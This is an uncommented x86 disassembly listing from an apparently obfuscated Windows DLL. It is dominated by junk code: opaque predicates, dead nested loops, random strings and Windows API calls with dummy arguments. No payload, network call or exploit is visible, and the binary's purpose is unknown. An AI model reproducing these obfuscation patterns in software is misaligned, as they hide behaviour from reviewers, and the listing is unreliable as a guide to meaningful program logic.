mov dword [ebp - 0xdf0], 0xb4ffb871
lea ecx, [ebp - 0x3fd]
call fcn.1000a7b2
push eax
lea eax, [ebp - 0xdec]
push eax
lea eax, [ebp - 0xdfc]
push eax
lea ecx, [ebp - 0x10dc]
call fcn.1000a7b5
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe34]
call fcn.1000a761
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x1a8], 0x39924432
mov dword [ebp - 0xa18], 0x43c4ab2
push 1
lea ecx, [ebp - 0xa44]
call fcn.1000a704
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x298], 0
jmp 0x10026682
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 1
jge 0x100266a4
push dword [ebp - 0x298]
lea ecx, [ebp - 0xa44]
call fcn.1000a7a3
mov dword [eax], 7
jmp 0x10026675
push 1
lea ecx, [ebp - 0xe34]
call fcn.1000a7a3
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0xa18], eax
push 0
lea ecx, [ebp - 0xa44]
call fcn.1000a7a3
mov esi, eax
push 1
lea ecx, [ebp - 0xe34]
call fcn.1000a7a3
mov eax, dword [eax]
mov dword [esi], eax
push 0
lea ecx, [ebp - 0xa44]
call fcn.1000a7a3
cmp dword [eax], 0
je 0x100267a4
mov dword [ebp - 0x490], 0xa17d
mov dword [ebp - 0xfa4], 1
mov dword [ebp - 0xd88], 0x4ccfd66c
cmp dword [ebp - 0x490], 1
jl 0x1002672e
mov dword [ebp - 0x62c], 1
jmp 0x10026735
and dword [ebp - 0x62c], 0
cmp dword [ebp - 0x62c], 0
jae 0x1002674a
mov dword [ebp - 0x864], 1
jmp 0x10026751
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x864], eax
je 0x1002676b
mov dword [ebp - 0x634], 1
jmp 0x10026772
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x490]
cmp dword [ebp - 0x634], eax
jge 0x1002678c
mov dword [ebp - 0xa94], 1
jmp 0x10026793
and dword [ebp - 0xa94], 0
mov eax, dword [ebp - 0xa94]
mov dword [ebp - 0xd88], eax
jmp 0x10026979
mov dword [ebp - 0x2a0], 0x44ed
push 4
lea ecx, [ebp - 0xe64]
call fcn.1000a704
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x3d0], 0
jmp 0x100267d8
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 4
jge 0x100267fa
push dword [ebp - 0x3d0]
lea ecx, [ebp - 0xe64]
call fcn.1000a7a3
mov dword [eax], 0x435c5265
jmp 0x100267cb
push 0
lea ecx, [ebp - 0xa44]
call fcn.1000a7a3
cmp dword [eax], 0
jne 0x1002693f
cmp dword [ebp - 0x1a8], 1
jle 0x10026825
mov dword [ebp - 0x63c], 1
jmp 0x1002682c
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x2a0]
add eax, dword [ebp - 0x63c]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x1a8]
neg eax
cmp eax, 0xffff
jae 0x10026859
mov dword [ebp - 0x86c], 1
jmp 0x10026860
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x86c]
add eax, 5
cmp eax, dword [ebp - 0x2a0]
jg 0x1002687d
mov dword [ebp - 0x644], 1
jmp 0x10026884
and dword [ebp - 0x644], 0
mov esi, dword [ebp - 0x2a0]
imul esi, dword [ebp - 0x644]
push 0
lea ecx, [ebp - 0xa44]
call fcn.1000a7a3
cmp esi, dword [eax]
jl 0x100268ae
mov dword [ebp - 0x984], 1
jmp 0x100268b5
and dword [ebp - 0x984], 0
push 0
lea ecx, [ebp - 0xa44]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x984]
cmp ecx, dword [eax]
jge 0x100268d8
mov dword [ebp - 0x64c], 1
jmp 0x100268df
and dword [ebp - 0x64c], 0
push 0
lea ecx, [ebp - 0xa44]
call fcn.1000a7a3
mov eax, dword [eax]
cmp eax, dword [ebp - 0x64c]
jge 0x10026902
mov dword [ebp - 0x874], 1
jmp 0x10026909
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0x874], eax
jl 0x10026923
mov dword [ebp - 0x654], 1
jmp 0x1002692a
and dword [ebp - 0x654], 0
cmp dword [ebp - 0x654], 0xfc71
jg 0x1002693f
and dword [ebp - 0x40c], 0
jmp 0x10026949
mov dword [ebp - 0x40c], 1
push 2
lea ecx, [ebp - 0xe64]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x40c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0xa18], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xe64]
call fcn.1000a787
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa44]
call fcn.1000a787
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe34]
call fcn.1000a787
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xeb0], cx
lea eax, [ebp - 0xeb0]
push eax
lea ecx, [ebp - 0x1114]
call fcn.1000a63c
mov dword [ebp - 0xb38], eax
mov eax, dword [ebp - 0xb38]
mov dword [ebp - 0xcb8], eax
mov dword [ebp - 4], 0x11
push dword [ebp - 0xcb8]
call fcn.1001f280
pop ecx
mov dword [ebp - 0x720], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1114]
call fcn.1000a661
mov dword [ebp - 0xf4], 0xffffffff
mov dword [ebp - 0xf4c], 0
mov dword [ebp - 0x67c], 0xa7ad11e7
mov dword [ebp - 0xa4], 0xffffffff
mov dword [ebp - 0x80], 0
jmp 0x10026a2b
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jge 0x10026a41
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xd6c], 0xffff
jmp 0x10026a24
mov dword [ebp - 0x80], 0
jmp 0x10026a51
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jge 0x10026a67
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xfd0], 1
jmp 0x10026a4a
mov dword [ebp - 0xf4], 0xc
jmp 0x10026a80
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x1a
jle 0x10026c50
mov dword [ebp - 0xc4], 7
mov dword [ebp - 0xfac], 5
mov dword [ebp - 0xb40], 0xb81fdf20
mov dword [ebp - 0xc4], 0
jmp 0x10026ac4
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 2
jg 0x10026c4b
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp + eax*4 - 0xd6c]
mov dword [ebp - 0x65c], eax
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x65c]
mov dword [ebp + eax*4 - 0xd6c], ecx
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x65c], eax
jge 0x10026b11
mov dword [ebp - 0x66c], 1
jmp 0x10026b18
and dword [ebp - 0x66c], 0
cmp dword [ebp - 0xf4], 0x1e6e2bfb
jge 0x10026b30
mov dword [ebp - 0x87c], 1
jmp 0x10026b37
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x87c]
jge 0x10026b51
mov dword [ebp - 0x664], 1
jmp 0x10026b58
and dword [ebp - 0x664], 0
cmp dword [ebp - 0x664], 0xcf5a
jle 0x10026b70
mov dword [ebp - 0x98c], 1
jmp 0x10026b77
and dword [ebp - 0x98c], 0
cmp dword [ebp - 0x98c], 0
ja 0x10026b8c
mov dword [ebp - 0x884], 1
jmp 0x10026b93
and dword [ebp - 0x884], 0
mov eax, 0x9ec4
sub eax, dword [ebp - 0x66c]
cmp eax, dword [ebp - 0x884]
jge 0x10026bcc
mov byte [ebp - 0x151], 0
movzx eax, byte [ebp - 0x151]
test eax, eax
je 0x10026bca
push 0
push 0xfe4
push 0x11da
call dword [sym.imp.GDI32.dll_CreatePen]
jmp 0x10026c11
mov dword [ebp - 0x674], 0
mov dword [ebp - 0xf54], 1
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xa4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xa4]
sub ecx, dword [ebp - 0x674]
add ecx, dword [ebp + eax - 0xd6c]
sub ecx, dword [ebp - 0x674]
mov dword [ebp - 0xb40], ecx
mov dword [ebp - 0xa4], 0
jmp 0x10026c2a
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x10026c46
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0xd6c], 0xffff
jmp 0x10026c1d
jmp 0x10026ab7
jmp 0x10026a73
cmp dword [ebp - 0xf4], 0xfffffff7
ja 0x10026c65
mov dword [ebp - 0xa68], 1
jmp 0x10026c6c
and dword [ebp - 0xa68], 0
mov eax, dword [ebp - 0x67c]
cmp eax, dword [ebp - 0xa68]
jne 0x10026c86
mov dword [ebp - 0xd28], 1
jmp 0x10026c8d
and dword [ebp - 0xd28], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xfd0]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xfb4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd6c]
mov dword [ebp - 0x67c], eax
and dword [ebp - 0x2b0], 0
jmp 0x10026cd4
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0xd
jae 0x10026fb8
push 2
lea ecx, [ebp - 0xa54]
call fcn.1000a704
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x88c], 0x134b
mov dword [ebp - 0xcc0], str.yphyxy_jfef_iyudbm_xfwj_lypbqwfr
cmp dword [ebp - 0x88c], 0x14fc
jle 0x10026dc0
and dword [ebp - 0x350], 0
jmp 0x10026d2f
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x3956
jge 0x10026dc0
and dword [ebp - 0x2a8], 0
jmp 0x10026d55
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0xcdd
jge 0x10026dbb
mov eax, dword [ebp - 0x350]
cdq
idiv dword [ebp - 0x2a8]
mov eax, edx
cdq
mov dword [ebp - 0xbbc], eax
mov dword [ebp - 0xbb8], edx
push dword [ebp - 0xbb8]
push dword [ebp - 0xbbc]
lea ecx, [ebp - 0x11ec]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xb48], eax
mov ecx, dword [ebp - 0xb48]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x11ec]
call fcn.1000a440
jmp 0x10026d48
jmp 0x10026d22
mov dword [ebp - 0x184], 0xfffffffb
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x88c], 0x10cb
jge 0x10026de6
push dword [ebp - 0xcc0]
call fcn.10046acc
pop ecx
jmp 0x10026e02
mov dword [ebp - 4], 0x12
jmp 0x10026e12
mov dword [ebp - 0x3a8], 0
jmp 0x10026e2b
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 2
jge 0x10026e4d
push dword [ebp - 0x3a8]
lea ecx, [ebp - 0xa54]
call fcn.1000a7a3
mov dword [eax], 0x2cb5
jmp 0x10026e1e
push 0
lea ecx, [ebp - 0xa54]
call fcn.1000a7a3
push 1
lea ecx, [ebp - 0xa54]
call fcn.1000a7a3
mov esi, eax
push 0
lea ecx, [ebp - 0xa54]
call fcn.1000a7a3
mov eax, dword [eax]
cmp eax, dword [esi]
jle 0x10026e88
mov dword [ebp - 0x684], 1
jmp 0x10026e8f
and dword [ebp - 0x684], 0
push 0
lea ecx, [ebp - 0xa54]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x684]
sub ecx, dword [eax]
cmp ecx, 0xffff
jbe 0x10026eb8
mov dword [ebp - 0x994], 1
jmp 0x10026ebf
and dword [ebp - 0x994], 0
cmp dword [ebp - 0x994], 1
jl 0x10026ed4
mov dword [ebp - 0x68c], 1
jmp 0x10026edb
and dword [ebp - 0x68c], 0
imul eax, dword [ebp - 0x68c], 0xffff
cmp eax, 0x74bf90ed
jle 0x10026ef8
mov dword [ebp - 0x894], 1
jmp 0x10026eff
and dword [ebp - 0x894], 0
cmp dword [ebp - 0x894], 0xa17d0b0a
ja 0x10026f17
mov dword [ebp - 0x694], 1
jmp 0x10026f1e
and dword [ebp - 0x694], 0
push 1
lea ecx, [ebp - 0xa54]
call fcn.1000a7a3
mov eax, dword [eax]
cmp eax, dword [ebp - 0x694]
jge 0x10026f41
mov dword [ebp - 0xa20], 1
jmp 0x10026f48
and dword [ebp - 0xa20], 0
imul eax, dword [ebp - 0xa20], 0x13b2
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x184], 0
jmp 0x10026f71
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 1
jg 0x10026f94
push dword [ebp - 0x184]
lea ecx, [ebp - 0xa54]
call fcn.1000a7a3
cmp dword [eax], 0
je 0x10026f92
jmp 0x10026f94
jmp 0x10026f64
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa54]
call fcn.1000a787
xor eax, eax
mov ecx, dword [ebp - 0x2b0]
mov word [ebp + ecx*2 - 0xeb0], ax
jmp 0x10026cc7
mov dword [ebp - 0x728], 0x47bd
mov dword [ebp - 0xc44], str.rouobd_liondzk_aqnbvlfya_apsjoqfe_mkhn_puqsviefo_slsqmq_ivnfx_xkssgttqr_toignyrz_kmbdmwg_flkgzplj_hderz
cmp dword [ebp - 0x728], 0x4996
jle 0x10027084
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
and dword [ebp - 0x358], 0
jmp 0x10026ffa
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x110a
jge 0x10027084
and dword [ebp - 0x2b8], 0
jmp 0x1002701c
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x294
jge 0x1002707f
mov eax, dword [ebp - 0x358]
xor eax, dword [ebp - 0x2b8]
cdq
mov dword [ebp - 0xbc8], eax
mov dword [ebp - 0xbc4], edx
push dword [ebp - 0xbc4]
push dword [ebp - 0xbc8]
lea ecx, [ebp - 0x115c]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xb50], eax
mov ecx, dword [ebp - 0xb50]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x115c]
call fcn.1000a440
jmp 0x1002700f
jmp 0x10026fed
cmp dword [ebp - 0x720], 0
je 0x1002a5de
mov dword [ebp - 0x454], 0xf2b29949
mov dword [ebp - 0xfc], 0x1878abc1
push 2
lea ecx, [ebp - 0xaf0]
call fcn.1000a704
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x6cc], 0xa7bc
mov dword [ebp - 0xcd0], 0x4f5c6f0d
mov dword [ebp - 0xf5c], 0xa2d47e13
mov dword [ebp - 0x3e8], 0
jmp 0x100270f0
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 2
jge 0x10027112
push dword [ebp - 0x3e8]
lea ecx, [ebp - 0xaf0]
call fcn.1000a7a3
mov dword [eax], 1
jmp 0x100270e3
cmp dword [ebp - 0x454], 0xffffffff
jae 0x10027127
mov dword [ebp - 0x69c], 1
jmp 0x1002712e
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x69c]
sub eax, dword [ebp - 0x454]
cmp eax, 0xd444
jge 0x1002714d
mov dword [ebp - 0xd60], 1
jmp 0x10027154
and dword [ebp - 0xd60], 0
cmp dword [ebp - 0x454], 0
jne 0x10027169
mov dword [ebp - 0xb58], 1
jmp 0x10027170
and dword [ebp - 0xb58], 0
mov dword [ebp - 0xfc], 0x5925ef2c
cmp dword [ebp - 0xfc], 0
je 0x10027328
mov byte [ebp - 0xdd], 0
mov dword [ebp - 0x89c], 0x366e
mov dword [ebp - 0xb60], str.aqg_kzgq_dkyxvcnl_sxclcnn_ioy_cutds_gipmnoxq
cmp dword [ebp - 0x89c], 0x396a
jle 0x100272c8
push 0x1a5e
push 0x1f94
call dword [sym.imp.USER32.dll_GetWindowLongW]
and dword [ebp - 0x2c0], 0
jmp 0x100271d8
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x1dee
jge 0x100272c8
and dword [ebp - 0x360], 0
jmp 0x100271fe
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x6f28
jge 0x100272c3
and dword [ebp - 0x2c8], 0
jmp 0x10027224
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x2697
jge 0x100272be
and dword [ebp - 0x3b0], 0
jmp 0x1002724a
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x42a2
jge 0x100272b9
mov eax, dword [ebp - 0x2c0]
add eax, dword [ebp - 0x360]
sub eax, dword [ebp - 0x2c8]
add eax, dword [ebp - 0x3b0]
cdq
mov dword [ebp - 0xbd4], eax
mov dword [ebp - 0xbd0], edx
push dword [ebp - 0xbd0]
push dword [ebp - 0xbd4]
lea ecx, [ebp - 0x11bc]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xcc8], eax
mov ecx, dword [ebp - 0xcc8]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x11bc]
call fcn.1000a440
jmp 0x1002723d
jmp 0x10027217
jmp 0x100271f1
jmp 0x100271cb
movzx eax, byte [ebp - 0xdd]
test eax, eax
je 0x100272db
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x89c], 0x3370
jge 0x100272f7
push dword [ebp - 0xb60]
call fcn.10046acc
pop ecx
jmp 0x10027313
mov dword [ebp - 4], 0x15
jmp 0x10027323
jmp 0x10027635
mov dword [ebp - 0x54], 0xffffffff
push 1
lea ecx, [ebp - 0xe58]
call fcn.1000a704
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x88], 0
jmp 0x10027359
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x10027375
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xb68], 1
jmp 0x1002734c
mov dword [ebp - 0x88], 0
jmp 0x1002738e
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x100273b0
push dword [ebp - 0x88]
lea ecx, [ebp - 0xe58]
call fcn.1000a7a3
mov dword [eax], 2
jmp 0x10027381
cmp dword [ebp - 0xfc], 0
jne 0x10027583
mov dword [ebp - 0xfc], 0xca95
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xfbc], eax
push 0
lea ecx, [ebp - 0xaf0]
call fcn.1000a7a3
cmp dword [eax], 0
jne 0x100273f7
cmp dword [ebp - 0xfc], 0
jne 0x100273f7
and dword [ebp - 0x6a4], 0
jmp 0x10027401
mov dword [ebp - 0x6a4], 1
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x6a4], eax
jne 0x1002741e
cmp dword [ebp - 0x54], 0
je 0x1002741e
mov dword [ebp - 0x99c], 1
jmp 0x10027425
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x99c]
sub eax, 8
cmp eax, dword [ebp - 0x54]
jne 0x1002743f
mov dword [ebp - 0x6ac], 1
jmp 0x10027446
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x6ac], eax
jg 0x10027460
mov dword [ebp - 0x8a4], 1
jmp 0x10027467
and dword [ebp - 0x8a4], 0
cmp dword [ebp - 0x8a4], 0xa5c1
je 0x1002747f
mov dword [ebp - 0x6b4], 1
jmp 0x10027486
and dword [ebp - 0x6b4], 0
push 0
lea ecx, [ebp - 0xaf0]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x6b4]
cmp ecx, dword [eax]
jne 0x100274af
mov eax, 0x9ac9
test eax, eax
jne 0x100274af
and dword [ebp - 0xa7c], 0
jmp 0x100274b9
mov dword [ebp - 0xa7c], 1
cmp dword [ebp - 0xa7c], 0x322e
jne 0x100274d1
mov dword [ebp - 0x6bc], 1
jmp 0x100274d8
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x6bc], eax
jne 0x100274ef
mov dword [ebp - 0x8ac], 1
jmp 0x100274f6
and dword [ebp - 0x8ac], 0
push 0
lea ecx, [ebp - 0xaf0]
call fcn.1000a7a3
mov eax, dword [eax]
cmp eax, dword [ebp - 0x8ac]
jle 0x10027519
mov dword [ebp - 0x6c4], 1
jmp 0x10027520
and dword [ebp - 0x6c4], 0
cmp dword [ebp - 0x6c4], 0
jne 0x10027535
mov dword [ebp - 0xd30], 1
jmp 0x1002753c
and dword [ebp - 0xd30], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0xf6c], eax
push 0
lea ecx, [ebp - 0xaf0]
call fcn.1000a7a3
imul eax, dword [eax], 0xfffffffa
mov dword [ebp - 0x9a4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9a4]
mov dword [ebp + eax - 0xb68], ecx
cmp dword [ebp - 0x9a4], 0
je 0x10027583
and dword [ebp - 0x8b4], 0
jmp 0x1002758d
mov dword [ebp - 0x8b4], 1
mov eax, dword [ebp - 0x6cc]
cmp dword [ebp - 0x8b4], eax
jge 0x100275a7
mov dword [ebp - 0x6d4], 1
jmp 0x100275ae
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d4]
sub eax, dword [ebp - 0x54]
mov dword [ebp - 0xa28], eax
push 0
lea ecx, [ebp - 0xe58]
call fcn.1000a7a3
mov ecx, dword [ebp - 0xa28]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0xa28]
cmp eax, dword [ebp - 0x54]
jg 0x100275ed
mov dword [ebp - 0x6dc], 1
jmp 0x100275f4
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x6dc]
sub eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x54]
jg 0x1002760e
mov dword [ebp - 0x8bc], 1
jmp 0x10027615
and dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0x8bc]
add eax, 0x1966ba05
mov dword [ebp - 0xcd0], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xe58]
call fcn.1000a787
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaf0]
call fcn.1000a787
mov dword [ebp - 0x170], 0x7e17f75
mov dword [ebp - 0x18], 0x9cec79e6
mov dword [ebp - 0xa80], 0xffffffff
mov dword [ebp - 0x1048], 0x61e4171b
mov dword [ebp - 0x1044], 0x61e4171b
mov dword [ebp - 0x1040], 0x61e4171b
mov dword [ebp - 0x103c], 0x61e4171b
mov dword [ebp - 0xfc4], 3
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xf7c], eax
mov eax, dword [ebp - 0x18]
add eax, 0xa693
cmp eax, dword [ebp - 0x18]
jne 0x100276b3
mov dword [ebp - 0x6e4], 1
jmp 0x100276ba
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x6e4], eax
jl 0x100276d1
mov dword [ebp - 0x9ac], 1
jmp 0x100276d8
and dword [ebp - 0x9ac], 0
mov eax, dword [ebp - 0x9ac]
sub eax, dword [ebp - 0x18]
add eax, 0x6284
je 0x100276fa
cmp dword [ebp - 0x18], 0
je 0x100276fa
mov dword [ebp - 0x6ec], 1
jmp 0x10027701
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x6ec], eax
jne 0x10027718
mov dword [ebp - 0x8c4], 1
jmp 0x1002771f
and dword [ebp - 0x8c4], 0
cmp dword [ebp - 0x8c4], 6
je 0x10027734
mov dword [ebp - 0x6f4], 1
jmp 0x1002773b
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x6f4]
cmp eax, dword [ebp - 0x18]
jle 0x10027755
mov dword [ebp - 0xa78], 1
jmp 0x1002775c
and dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0xa78]
jne 0x10027782
mov dword [ebp - 0x6fc], 1
jmp 0x10027789
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x6fc], eax
je 0x100277a0
mov dword [ebp - 0x8cc], 1
jmp 0x100277a7
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x8cc], eax
jl 0x100277be
mov dword [ebp - 0x704], 1
jmp 0x100277c5
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0
jmp 0x100277de
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 9
jg 0x10027cd9
mov dword [ebp - 0x9b4], 0x5032
mov dword [ebp - 0xb70], str.pmifcgeso_pcs_lgohl_nfz_vids_cakns_hsjfecgw_bkmmazjxy_rtl_epyd_dxrxrosd
cmp dword [ebp - 0x9b4], 0x5183
jle 0x100278a0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtCreatePen]
and dword [ebp - 0x2d0], 0
jmp 0x10027832
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x6c08
jge 0x10027894
and dword [ebp - 0x368], 0
jmp 0x10027854
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x3b2e
jge 0x10027892
mov eax, dword [ebp - 0x2d0]
imul eax, dword [ebp - 0x368]
cdq
mov dword [ebp - 0xbe0], eax
mov dword [ebp - 0xbdc], edx
push dword [ebp - 0xbdc]
push dword [ebp - 0xbe0]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x10027847
jmp 0x10027825
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [ebp - 0x71c], 1
mov dword [ebp - 4], 0x19
cmp dword [ebp - 0x9b4], 0x4d7a
jge 0x100278cd
mov edx, dword [ebp - 0xb70]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x100278e9
or dword [ebp - 4], 0xffffffff
jmp 0x100278f3
mov dword [ebp - 0x8e4], 0
mov dword [ebp - 0xfa0], 0xfffffffe
mov dword [ebp - 0x1004], 0xfffffffd
mov dword [ebp - 0xfa8], 1
mov dword [ebp - 0x1054], 0xfffffffb
mov dword [ebp - 0xfb0], 0xffffffff
push 3
lea ecx, [ebp - 0xf68]
call fcn.1000a704
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x100c], 2
mov dword [ebp - 0x73c], 0xfffffffd
mov dword [ebp - 0x70c], 0x945
mov dword [ebp - 0xd8c], str.qhds_euhrnk_kzyao_tnurt
cmp dword [ebp - 0x70c], 0xc15
jle 0x10027a57
and dword [ebp - 0x2d8], 0
jmp 0x10027991
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x688a
jge 0x10027a57
and dword [ebp - 0x3d8], 0
jmp 0x100279b7
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0x160b
jge 0x10027a52
and dword [ebp - 0x2e0], 0
jmp 0x100279dd
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x6639
jge 0x10027a4d
and dword [ebp - 0x370], 0
jmp 0x100279ff
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x4d90
jge 0x10027a4b
mov eax, dword [ebp - 0x2d8]
imul eax, dword [ebp - 0x3d8]
sub eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x370]
shl eax, cl
cdq
mov dword [ebp - 0xbec], eax
mov dword [ebp - 0xbe8], edx
push dword [ebp - 0xbe8]
push dword [ebp - 0xbec]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x100279f2
jmp 0x100279d0
jmp 0x100279aa
jmp 0x10027984
mov dword [ebp - 0xa8], 0
jmp 0x10027a70
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jge 0x10027a8c
mov eax, dword [ebp - 0xa8]
